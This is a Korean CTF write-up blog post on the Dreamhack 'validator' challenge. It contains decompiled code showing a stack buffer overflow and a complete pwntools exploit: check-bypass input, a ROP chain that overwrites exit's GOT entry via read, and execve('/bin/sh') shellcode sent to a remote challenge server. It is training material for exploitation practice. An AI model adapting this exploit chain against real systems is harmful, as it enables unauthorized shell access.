소스코드가 없이 바이너리 파일만 존재하므로 ida를 이용해서 디컴파일을 했다
소스 코드
_int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
sub_400580(s, 128LL);
return 0LL;
}
__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
처음 마주한 이상한 값들.. 어색하다..
코드 분석
sub_400580함수에서 main함수에서 입력 받은 값을 토대로 검사를 진행하고 있다
검사 조건이 일치하면 프로그램이 종료 되므로 우회가 필요
첫 번째 검사는 DREAMHACK!과 일치하는지
두 번째 검사는 a[i]이 a[i+1]과 일치하는지
** ida 사용법이 많이 부족하다
검사 우회 코드
payload = b'DREAMHACK!'
for i in range(126, 0, -1):
payload += bytes([i])
페이로드
from pwn import*
p = remote('host3.dreamhack.games', 11609)
e = ELF('./validator_server')
context.arch = 'amd64'
shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
exit_got = e.got['exit']
read_plt = e.plt['read']
payload = b'DREAMHACK!'
for i in range(126, 0, -1):
payload += bytes([i])
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(0x200)
payload += p64(read_plt)
payload += p64(exit_got)
p.send(payload)
p.send(shellcode)
모든 보호기법이 꺼져 있으므로 rop 체인을 구성해 got overwrite을 했다
드림핵 포너블 1단계 마무리
ida연습겸 이번 문제 다시 복습해야겠다
'System Hacking' 카테고리의 다른 글
[Dreamhack] basic_heap_overflow write up - 티스토리 (0) | 2023.10.01 |
---|---|
[Dreamhack] command injection, cmd_center 풀이 - 티스토리 (0) | 2023.08.22 |
[Dreamhack] Type Error, sint 풀이 - 티스토리 (0) | 2023.08.22 |
[Dreamhack] tcachee_dup2 풀이 - 티스토리 (0) | 2023.08.21 |
[Dreamhack] tcache dup 풀이 - 티스토리 (0) | 2023.08.17 |